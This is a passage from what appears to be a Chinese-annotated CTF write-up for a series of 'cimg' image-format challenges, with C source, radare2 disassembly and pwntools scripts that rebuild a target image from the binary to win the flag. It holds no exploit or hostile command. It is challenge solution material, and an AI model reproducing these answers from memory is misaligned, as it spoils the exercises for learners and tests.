SUB_BLOCK_OPCODE = 52965

for x, y, w, h in best_blocks:
directives_payload += struct.pack("<H", SUB_BLOCK_OPCODE)
directives_payload += struct.pack("<BBBB", x, y, w, h)
for dy in range(h):
for dx in range(w):
p = pixels[(y + dy) * width + x + dx]
directives_payload += struct.pack("<BBBB", p[0], p[1], p[2], p[3])

total_size = len(directives_payload) + 12

if total_size > 1337:
log.error(
f"Still too bloated. Over by {total_size - 1337} bytes."
)
return

magic = b"cIMG"
version = 3
file_header = struct.pack(
"<4sHBBI", magic, version, width, height, len(best_blocks)
)

payload = file_header + directives_payload
file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

log.success(f"Final size: {total_size} bytes.")
p = process([binary_path, file_name])
print(p.recvall().decode(errors="ignore"))

if __name__ == "__main__":
build_payload()

The Patch Directive

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
struct cimg_header
{
char magic_number[4];
uint16_t version;
uint8_t width;
uint8_t height;
uint32_t remaining_directives;
} __attribute__((packed));

typedef struct
{
uint8_t ascii;
} pixel_bw_t;
#define COLOR_PIXEL_FMT "\x1b[38;2;%03d;%03d;%03dm%c\x1b[0m"
typedef struct
{
uint8_t r;
uint8_t g;
uint8_t b;
uint8_t ascii;
} pixel_color_t;
typedef pixel_color_t pixel_t;

typedef struct
{
union
{
char data[24];
struct term_str_st
{
char color_set[7]; // \x1b[38;2;
char r[3]; // 255
char s1; // ;
char g[3]; // 255
char s2; // ;
char b[3]; // 255
char m; // m
char c; // X
char color_reset[4]; // \x1b[0m
} str;
};
} term_pixel_t;

struct cimg
{
struct cimg_header header;
unsigned num_pixels;
term_pixel_t *framebuffer;
};

#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))
#define CIMG_FRAMEBUFFER_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_FRAMEBUFFER_SIZE(cimg) (CIMG_FRAMEBUFFER_PIXELS(cimg) * sizeof(term_pixel_t))

#include "cimg-handlers.c" // YOU DON'T GET THIS FILE!

int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 3)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 8564:
handle_8564(&cimg);
break;
case 45626:
handle_45626(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);

if (cimg.num_pixels != sizeof(desired_output)/sizeof(term_pixel_t))
{
won = 0;
}
for (int i = 0; i < cimg.num_pixels && i < sizeof(desired_output)/sizeof(term_pixel_t); i++)
{
if (cimg.framebuffer[i].str.c != ((term_pixel_t*)&desired_output)[i].str.c)
{
won = 0;
}
if (
cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t))
)
{
won = 0;
}
}

if (total_data > 1340) won = 0;

if (won) win();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
            ;-- handle_45626:
0x0040186c f30f1efa endbr64
0x00401870 4157 push r15
0x00401872 4183c8ff or r8d, 0xffffffff ; -1
0x00401876 ba01000000 mov edx, 1
0x0040187b 488d0df108.. lea rcx, str.ERROR:_Failed_to_read_base_x_ ; 0x402173 ; "ERROR: Failed to read &base_x!"
0x00401882 4156 push r14
0x00401884 4155 push r13
0x00401886 4154 push r12
0x00401888 4989fc mov r12, rdi
0x0040188b 31ff xor edi, edi
0x0040188d 55 push rbp
0x0040188e 53 push rbx
0x0040188f 4883ec38 sub rsp, 0x38
0x00401893 64488b0425.. mov rax, qword fs:[0x28]
0x0040189c 4889442428 mov qword [rsp + 0x28], rax
0x004018a1 31c0 xor eax, eax
0x004018a3 488d74240d lea rsi, [rsp + 0xd]
0x004018a8 e8defdffff call sym.read_exact ;[3]
0x004018ad 4183c8ff or r8d, 0xffffffff ; -1
0x004018b1 31ff xor edi, edi
0x004018b3 488d74240e lea rsi, [rsp + 0xe]
0x004018b8 488d0dd308.. lea rcx, str.ERROR:_Failed_to_read_base_y_ ; 0x402192 ; "ERROR: Failed to read &base_y!"
0x004018bf ba01000000 mov edx, 1
0x004018c4 e8c2fdffff call sym.read_exact ;[3]
0x004018c9 4183c8ff or r8d, 0xffffffff ; -1
0x004018cd 31ff xor edi, edi
0x004018cf 488d74240b lea rsi, [rsp + 0xb]
0x004018d4 488d0dd608.. lea rcx, str.ERROR:_Failed_to_read_width_ ; 0x4021b1 ; "ERROR: Failed to read &width!"
0x004018db ba01000000 mov edx, 1
0x004018e0 e8a6fdffff call sym.read_exact ;[3]
0x004018e5 31ff xor edi, edi
0x004018e7 4183c8ff or r8d, 0xffffffff ; -1
0x004018eb ba01000000 mov edx, 1
0x004018f0 488d74240c lea rsi, [rsp + 0xc]
0x004018f5 488d0dd308.. lea rcx, str.ERROR:_Failed_to_read_height_ ; 0x4021cf ; "ERROR: Failed to read &height!"
0x004018fc e88afdffff call sym.read_exact ;[3]
0x00401901 0fb65c240b movzx ebx, byte [rsp + 0xb]
0x00401906 0fb654240c movzx edx, byte [rsp + 0xc]
0x0040190b 0fafda imul ebx, edx
0x0040190e 4863db movsxd rbx, ebx
0x00401911 48c1e302 shl rbx, 2
0x00401915 4889df mov rdi, rbx
0x00401918 e8e3f8ffff call sym.imp.malloc ;[4]
0x0040191d 4885c0 test rax, rax
┌─< 0x00401920 750e jne 0x401930
│ 0x00401922 488d3daa07.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x4020d3 ; "ERROR: Failed to allocate memory for the image data!"
│ 0x00401929 e842f8ffff call sym.imp.puts ;[5]
┌──< 0x0040192e eb58 jmp 0x401988
│└─> 0x00401930 89da mov edx, ebx
│ 0x00401932 4889c6 mov rsi, rax
│ 0x00401935 4183c8ff or r8d, 0xffffffff ; -1
│ 0x00401939 31ff xor edi, edi
│ 0x0040193b 488d0dc607.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x402108 ; "ERROR: Failed to read data!"
│ 0x00401942 4889c5 mov rbp, rax
│ 0x00401945 e841fdffff call sym.read_exact ;[3]
│ 0x0040194a 0fb644240c movzx eax, byte [rsp + 0xc]
│ 0x0040194f 0fb654240b movzx edx, byte [rsp + 0xb]
│ 0x00401954 0fafd0 imul edx, eax
│ 0x00401957 31c0 xor eax, eax
│┌─> 0x00401959 39c2 cmp edx, eax
┌───< 0x0040195b 7e33 jle 0x401990
││╎ 0x0040195d 0fb64c8503 movzx ecx, byte [rbp + rax*4 + 3]
││╎ 0x00401962 48ffc0 inc rax
││╎ 0x00401965 8d71e0 lea esi, [rcx - 0x20]
││╎ 0x00401968 4080fe5e cmp sil, 0x5e ; '^' ; 94
││└─< 0x0040196c 76eb jbe 0x401959
││ 0x0040196e 488b3d0ba2.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
││ ; [0x40bb80:8]=0
││ 0x00401975 488d15a807.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
││ ; 0x402124 ; "ERROR: Invalid character 0x%x in the image data!\n"
││ 0x0040197c be01000000 mov esi, 1
││ 0x00401981 31c0 xor eax, eax
││ 0x00401983 e8c8f8ffff call sym.imp.__fprintf_chk ;[6]
│└──> 0x00401988 83cfff or edi, 0xffffffff ; -1
│ 0x0040198b e8b0f8ffff call sym.imp.exit ;[7]
└───> 0x00401990 4531ed xor r13d, r13d
0x00401993 4c8d7c240f lea r15, [rsp + 0xf]
┌─> 0x00401998 0fb644240c movzx eax, byte [rsp + 0xc]
╎ 0x0040199d 4439e8 cmp eax, r13d
┌──< 0x004019a0 0f8ea7000000 jle 0x401a4d
│╎ 0x004019a6 4531f6 xor r14d, r14d
┌───> 0x004019a9 0fb64c240b movzx ecx, byte [rsp + 0xb]
╎│╎ 0x004019ae 4439f1 cmp ecx, r14d
┌────< 0x004019b1 0f8e8e000000 jle 0x401a45
│╎│╎ 0x004019b7 0fb644240d movzx eax, byte [rsp + 0xd]
│╎│╎ 0x004019bc 0fb65c240e movzx ebx, byte [rsp + 0xe]
│╎│╎ 0x004019c1 410fafcd imul ecx, r13d
│╎│╎ 0x004019c5 4c89ff mov rdi, r15
│╎│╎ 0x004019c8 410fb6742406 movzx esi, byte [r12 + 6]
│╎│╎ 0x004019ce 4c8d058107.. lea r8, str.e_38_2__03d__03d__03dm_ce_0m ; 0x402156
│╎│╎ 0x004019d5 4401f0 add eax, r14d
│╎│╎ 0x004019d8 4401eb add ebx, r13d
│╎│╎ 0x004019db 99 cdq
│╎│╎ 0x004019dc 0fafde imul ebx, esi
│╎│╎ 0x004019df 4401f1 add ecx, r14d
│╎│╎ 0x004019e2 41ffc6 inc r14d
│╎│╎ 0x004019e5 f7fe idiv esi
│╎│╎ 0x004019e7 4863c9 movsxd rcx, ecx
│╎│╎ 0x004019ea be19000000 mov esi, 0x19 ; 25
│╎│╎ 0x004019ef 488d448d00 lea rax, [rbp + rcx*4]
│╎│╎ 0x004019f4 b919000000 mov ecx, 0x19 ; 25
│╎│╎ 0x004019f9 01d3 add ebx, edx
│╎│╎ 0x004019fb 52 push rdx
│╎│╎ 0x004019fc 0fb65003 movzx edx, byte [rax + 3]
│╎│╎ 0x00401a00 52 push rdx
│╎│╎ 0x00401a01 0fb65002 movzx edx, byte [rax + 2]
│╎│╎ 0x00401a05 52 push rdx
│╎│╎ 0x00401a06 0fb65001 movzx edx, byte [rax + 1]
│╎│╎ 0x00401a0a 52 push rdx
│╎│╎ 0x00401a0b 440fb608 movzx r9d, byte [rax]
│╎│╎ 0x00401a0f ba01000000 mov edx, 1
│╎│╎ 0x00401a14 31c0 xor eax, eax
│╎│╎ 0x00401a16 e835f7ffff call sym.imp.__snprintf_chk ;[1]
│╎│╎ 0x00401a1b 89d8 mov eax, ebx
│╎│╎ 0x00401a1d 31d2 xor edx, edx
│╎│╎ 0x00401a1f 410f1007 movups xmm0, xmmword [r15]
│╎│╎ 0x00401a23 41f774240c div dword [r12 + 0xc]
│╎│╎ 0x00401a28 4883c420 add rsp, 0x20
│╎│╎ 0x00401a2c 486bd218 imul rdx, rdx, 0x18
│╎│╎ 0x00401a30 4903542410 add rdx, qword [r12 + 0x10]
│╎│╎ 0x00401a35 0f1102 movups xmmword [rdx], xmm0
│╎│╎ 0x00401a38 498b4710 mov rax, qword [r15 + 0x10]
│╎│╎ 0x00401a3c 48894210 mov qword [rdx + 0x10], rax
│└───< 0x00401a40 e964ffffff jmp 0x4019a9
└────> 0x00401a45 41ffc5 inc r13d
│└─< 0x00401a48 e94bffffff jmp 0x401998
└──> 0x00401a4d 488b442428 mov rax, qword [rsp + 0x28]
0x00401a52 6448330425.. xor rax, qword fs:[0x28]
┌─< 0x00401a5b 7405 je 0x401a62
│ 0x00401a5d e82ef7ffff call sym.imp.__stack_chk_fail ;[2]
└─> 0x00401a62 4883c438 add rsp, 0x38
0x00401a66 5b pop rbx
0x00401a67 5d pop rbp
0x00401a68 415c pop r12
0x00401a6a 415d pop r13
0x00401a6c 415e pop r14
0x00401a6e 415f pop r15
0x00401a70 c3 ret

允许你在全局 Framebuffer 的任意位置 (base_x, base_y),绘制一个尺寸为 (width, height) 的矩形色块。
0x004019d5 add eax, r14d ; 全局 X = base_x + 局部 x
0x004019d8 add ebx, r13d ; 全局 Y = base_y + 局部 y
...
0x004019e5 idiv esi ; 涉及坐标映射,计算在全局 framebuffer 中的 index
...
0x00401a16 call sym.imp.__snprintf_chk ; 将局部像素格式化为 ANSI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
;-- handle_8564:
...
获取坐标参数
0x004016ff movzx ebp, byte [rdi + 6] ; 从传入的 cimg 结构体获取宽度
0x00401703 movzx edx, byte [rdi + 7] ; 从传入的 cimg 结构体获取高度
...
0x00401717 imul ebp, edx ; 计算总像素 ebp = width * height
...
数据读取
0x00401741 or r8d, 0xffffffff ; -1 (exit code)
0x00401747 lea rcx, str.ERROR:_Failed_to_read_data_
0x00401751 call sym.read_exact ;[6]
rdi (fd) = 0
rsi (dst) = rax (malloc 的地址)
rdx (size) = ebp (即 width * height)

0x004017eb movzx edx, byte [rax + 3]
0x004017ef push rdx
0x004017f0 movzx edx, byte [rax + 2]
...
0x00401805 call sym.imp.__snprintf_chk ;[7]
...
0x00401830 movups xmmword [rdx], xmm0
它在用相同的几个像素数据(来源于刚刚读进来的 data)不断地格式化成 ANSI 字符串,并循环写入到整个 Framebuffer 中。

回顾 45626 指令。它需要 base_x, base_y, width, height,然后跟随这块区域的像素数据。我们可以用几个的 45626 矩形指令拼接出目标图像,就能绕过 1340 字节。

[绘制像素的指令代码] + [x坐标, y坐标] + [R, G, B, A] -> [绘制像素的指令代码] + [x, y, w, h] + ? * [R, G, B, A]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import struct
from collections import Counter

from pwn import *

def extract_pixels_from_elf(binary_path, num_pixels):
elf = ELF(binary_path, checksec=False)
try:
addr = elf.symbols["desired_output"]
except:
addr = 0x404020

raw = elf.read(addr, num_pixels * 24)
pixels = []
for i in range(num_pixels):
chunk = raw[i * 24 : (i + 1) * 24]
try:
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
c = chunk[19]
pixels.append((r, g, b, c))
except:
pass
return pixels

def build_payload():
binary_path = "/challenge/cimg"
num_pixels = 1314
width = 73
height = 18

pixels = extract_pixels_from_elf(binary_path, num_pixels)
if len(pixels) != num_pixels:
log.error("Failed to extract full image from binary.")
return

# 1. 寻找主导背景色
color_counts = Counter(pixels)
bg_pixel = color_counts.most_common(1)[0][0]
log.info(f"Dominant background pixel detected: {bg_pixel}")

# 2. 贪心二维矩形合并
directives_payload = bytearray()
directive_count = 0
visited = set()

# 扫描全局 Framebuffer
for y in range(height):
for x in range(width):
# 如果是需要绘制的前景像素,且未被合并过
if pixels[y * width + x] != bg_pixel and (x, y) not in visited:
# a. 横向贪心寻找最大宽度
w = 0
while (
x + w < width
and pixels[y * width + x + w] != bg_pixel
and (x + w, y) not in visited
):
w += 1

# b. 纵向贪心寻找最大高度 (整行必须完全匹配该宽度且未访问)
h = 1
while y + h < height:
row_valid = True
for i in range(w):
if (
pixels[(y + h) * width + x + i] == bg_pixel
or (x + i, y + h) in visited
):
row_valid = False
break
if row_valid:
h += 1
else:
break

# c. 标记该矩形区域内的所有像素为已访问
for dy in range(h):
for dx in range(w):
visited.add((x + dx, y + dy))

# d. 构造 45626 区块写入指令 (仅花费 6 Bytes 的 Overhead)
directives_payload += struct.pack("<H", 45626)
directives_payload += struct.pack("<BBBB", x, y, w, h)

# e. 填入该矩形的真实像素数据
for dy in range(h):
for dx in range(w):
p = pixels[(y + dy) * width + x + dx]
directives_payload += struct.pack(
"<BBBB", p[0], p[1], p[2], p[3]
)

directive_count += 1

log.info(f"Greedy algorithm optimized image into {directive_count} solid blocks.")
total_size = len(directives_payload) + 12

if total_size > 1340:
log.error(f"Bandwidth limit exceeded! Current size: {total_size} bytes.")
return

magic = b"cIMG"
version = 3
remaining_directives = 1
file_header = struct.pack(
"<4sHBBI", magic, version, width, height, remaining_directives
)

file_header = struct.pack("<4sHBBI", magic, version, width, height, directive_count)

# 4. 组装并运行
payload = file_header + directives_payload
file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

log.success(f"Payload generated: {len(payload)} bytes.")
p = process([binary_path, file_name], stdin=process.PTY, stdout=process.PTY)
print(p.recvall().decode(errors="ignore"))


if __name__ == "__main__":
build_payload()

File Formats: Directives (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
// ...

char desired_output[] = ""; // too large

struct cimg_header
{
char magic_number[4];
uint16_t version;
uint8_t width;
uint8_t height;
uint32_t remaining_directives; // 4 bytes directives
} __attribute__((packed)); // gcc attribute no padding

typedef struct
{
uint8_t ascii;
} pixel_bw_t;
#define COLOR_PIXEL_FMT "\x1b[38;2;%03d;%03d;%03dm%c\x1b[0m"
typedef struct
{
uint8_t r;
uint8_t g;
uint8_t b;
uint8_t ascii;
} pixel_color_t;
typedef pixel_color_t pixel_t;

typedef struct
{
union
{
char data[24];
struct term_str_st
{
char color_set[7]; // \x1b[38;2;
char r[3]; // 255
char s1; // ;
char g[3]; // 255
char s2; // ;
char b[3]; // 255
char m; // m
char c; // X
char color_reset[4]; // \x1b[0m
} str;
};
} term_pixel_t;

struct cimg
{
struct cimg_header header;
unsigned num_pixels;
term_pixel_t *framebuffer;
};

#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))
#define CIMG_FRAMEBUFFER_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_FRAMEBUFFER_SIZE(cimg) (CIMG_FRAMEBUFFER_PIXELS(cimg) * sizeof(term_pixel_t))
// read pixel data and cpy to framebuffer
void handle_24740(struct cimg *cimg)
{
unsigned long data_size = cimg->header.width * cimg->header.height * sizeof(pixel_t);
pixel_t *data = malloc(data_size);
if (data == NULL)
{
puts("ERROR: Failed to allocate memory for the image data!");
exit(-1);
}
read_exact(0, data, data_size, "ERROR: Failed to read data!", -1);

for (int i = 0; i < cimg->header.width * cimg->header.height; i++)
{
if (data[i].ascii < 0x20 || data[i].ascii > 0x7e)
{
fprintf(stderr, "ERROR: Invalid character 0x%x in the image data!\n", data[i].ascii);
exit(-1);
}
}

int idx = 0;
for (int y = 0; y < cimg->header.height; y++)
{
for (int x = 0; x < cimg->header.width; x++)
{
idx = (0+y)*((cimg)->header.width) + ((0+x)%((cimg)->header.width));
char emit_tmp[24+1];
snprintf(emit_tmp, sizeof(emit_tmp), "\x1b[38;2;%03d;%03d;%03dm%c\x1b[0m", data[y * cimg->header.width + x].r, data[y * cimg->header.width + x].g, data[y * cimg->header.width + x].b, data[y * cimg->header.width + x].ascii);
memcpy((cimg)->framebuffer[idx%(cimg)->num_pixels].data, emit_tmp, 24);

}
}
}
// ...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

// version 3
if (cimg.header.version != 3)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

// remaining directives count the loop times
while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 24740:
handle_24740(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);

if (cimg.num_pixels != sizeof(desired_output)/sizeof(term_pixel_t))
{
won = 0;
}
for (int i = 0; i < cimg.num_pixels && i < sizeof(desired_output)/sizeof(term_pixel_t); i++)
{
if (cimg.framebuffer[i].str.c != ((term_pixel_t*)&desired_output)[i].str.c)
{
won = 0;
}
if (
cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t))
)
{
won = 0;
}
}

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import struct

from pwn import *

def build_payload():
binary_path = "/challenge/cimg"
try:
elf = ELF(binary_path, checksec=False)
except Exception as e:
log.error(f"Failed to load ELF: {e}")
return

# radare2 btw
# desired_output -> 0x404020
try:
desired_output_addr = elf.symbols["desired_output"]
log.info(f"Resolved 'desired_output' symbol at: {hex(desired_output_addr)}")
except KeyError:
desired_output_addr = 0x404020 # Fallback 地址
log.warning("Symbol not found, using fallback address.")

# pixel -> 930
num_pixels = 930
pixel_len = 24
total_bytes = num_pixels * pixel_len

log.info(
f"Extracting {total_bytes} bytes from address {hex(desired_output_addr)}..."
)

# 3. 从 ELF 文件中读取这些字节
try:
raw_ansi_data = elf.read(desired_output_addr, total_bytes)
except Exception as e:
log.error(f"Failed to read from ELF memory: {e}")
return

# 4. 提取颜色和字符数据 (<BBBB)
pixel_data = bytearray()
for i in range(num_pixels):
chunk = raw_ansi_data[i * pixel_len : (i + 1) * pixel_len]

# 典型的 chunk: b'\x1b[38;2;255;255;255m.\x1b[0m'
# 索引提取: R (7:10), G (11:14), B (15:18), ASCII (19)
try:
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
char_byte = chunk[19]

pixel_data += struct.pack("<BBBB", r, g, b, char_byte)
except ValueError as e:
log.error(f"Failed to parse chunk at index {i}: {chunk}. Error: {e}")
return

# factor num_pixels
width = 30
height = 31
assert width * height == num_pixels, "Dimension logic error!"

# 6. 打包 Header (<4sHBBI)
magic = b"cIMG"
version = 3
# loop times
remaining_directives = 1
file_header = struct.pack(
"<4sHBBI", magic, version, width, height, remaining_directives
)

# 5. 构造 Directive Code (<H)
directive_code = 24740
directive_header = struct.pack("<H", directive_code)

# 7. 组装并保存 Payload
payload = file_header + directive_header + pixel_data

file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

log.success(f"Payload generated: {len(payload)} bytes.")

# 8. 直接运行目标拿到 Flag
p = process([binary_path, file_name], stdin=process.PTY, stdout=process.PTY)
print(p.recvall().decode(errors="ignore"))


if __name__ == "__main__":
build_payload()

File Formats: Directives (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
  ╎└─< 0x00401374      75e4           jne 0x40135a
╎ 0x00401376 4889ef mov rdi, rbp
╎ 0x00401379 488d5c240e lea rbx, [rsp + 0xe]
╎ 0x0040137e e80b050000 call sym.initialize_framebuffer ;[3]
╎┌─> 0x00401383 8b442418 mov eax, dword [rsp + 0x18]
╎╎ 0x00401387 8d50ff lea edx, [rax - 1]
╎╎ 0x0040138a 89542418 mov dword [rsp + 0x18], edx
╎╎ 0x0040138e 85c0 test eax, eax
┌───< 0x00401390 744c je 0x4013de
│╎╎ 0x00401392 488d0da50e.. lea rcx, str.ERROR:_Failed_to_read_directive_code_ ; 0x40223e ; "ERROR: Failed to read &directive_code"
│╎╎ 0x00401399 4183c8ff or r8d, 0xffffffff ; -1
│╎╎ 0x0040139d 4889de mov rsi, rbx
│╎╎ 0x004013a0 31ff xor edi, edi
│╎╎ 0x004013a2 ba02000000 mov edx, 2
│╎╎ 0x004013a7 e8af020000 call sym.read_exact ;[4]

# 上一题我们用的 Directive Code 是 24740。但在这里,程序从 Payload 里读了两个字节(word),并与 0x79d6 进行对比。0x79d6 转换成十进制就是 31190。
│╎╎ 0x004013ac 0fb74c240e movzx ecx, word [rsp + 0xe]
│╎╎ 0x004013b1 6681f9d679 cmp cx, 0x79d6
┌────< 0x004013b6 750a jne 0x4013c2
││╎╎ 0x004013b8 4889ef mov rdi, rbp
││╎╎ 0x004013bb e8eb020000 call sym.handle_31190 ;[5] ; go to check the logic in handle_31190
││╎└─< 0x004013c0 ebc1 jmp 0x401383
└────> 0x004013c2 488b3d77ac.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│╎ ; [0x40c040:8]=0
│╎ 0x004013c9 488d15950e.. lea rdx, str.ERROR:_invalid_directive_code__ux_n ; 0x402265 ; "ERROR: invalid directive_code %ux\n"
│╎ 0x004013d0 be01000000 mov esi, 1
│╎ 0x004013d5 31c0 xor eax, eax
│╎ 0x004013d7 e874feffff call sym.imp.__fprintf_chk ;[6]
│└──< 0x004013dc eb81 jmp 0x40135f
└───> 0x004013de 31f6 xor esi, esi
0x004013e0 4889ef mov rdi, rbp
0x004013e3 4c8d25362c.. lea r12, obj.desired_output ; 0x404020 ; old place
0x004013ea 31db xor ebx, ebx
0x004013ec e83c040000 call sym.display ;[7]
0x004013f1 448b74241c mov r14d, dword [rsp + 0x1c]
0x004013f6 4c8b6c2420 mov r13, qword [rsp + 0x20]
0x004013fb 4181fe5505.. cmp r14d, 0x555 ; 1365
0x00401402 0f94c3 sete bl
0x00401405 31ed xor ebp, ebp
0x00401407 4531ff xor r15d, r15d
┌─> 0x0040140a 4439f5 cmp ebp, r14d
┌──< 0x0040140d 733f jae 0x40144e
│╎ 0x0040140f 81fd55050000 cmp ebp, 0x555 ; 1365 ; new frame size
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import struct

from pwn import *

def build_payload():
binary_path = "/challenge/cimg"
try:
elf = ELF(binary_path, checksec=False)
except Exception as e:
log.error(f"Failed to load ELF: {e}")
return

try:
desired_output_addr = elf.symbols["desired_output"]
log.info(f"Resolved 'desired_output' symbol at: {hex(desired_output_addr)}")
except KeyError:
desired_output_addr = 0x404020 # Fallback 地址
log.warning("Symbol not found, using fallback address.")

# search from radare2
num_pixels = 1365
pixel_len = 24
total_bytes = num_pixels * pixel_len

log.info(
f"Extracting {total_bytes} bytes from address {hex(desired_output_addr)}..."
)

# 3. 从 ELF 文件中读取这些字节
try:
raw_ansi_data = elf.read(desired_output_addr, total_bytes)
except Exception as e:
log.error(f"Failed to read from ELF memory: {e}")
return

# 4. 提取颜色和字符数据 (<BBBB)
pixel_data = bytearray()
for i in range(num_pixels):
chunk = raw_ansi_data[i * pixel_len : (i + 1) * pixel_len]
try:
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
char_byte = chunk[19]

pixel_data += struct.pack("<BBBB", r, g, b, char_byte)
except ValueError as e:
log.error(f"Failed to parse chunk at index {i}: {chunk}. Error: {e}")
return

# factor num_pixels
width = 35
height = 39
assert width * height == num_pixels, "Dimension logic error!"

magic = b"cIMG"
version = 3
remaining_directives = 1
file_header = struct.pack(
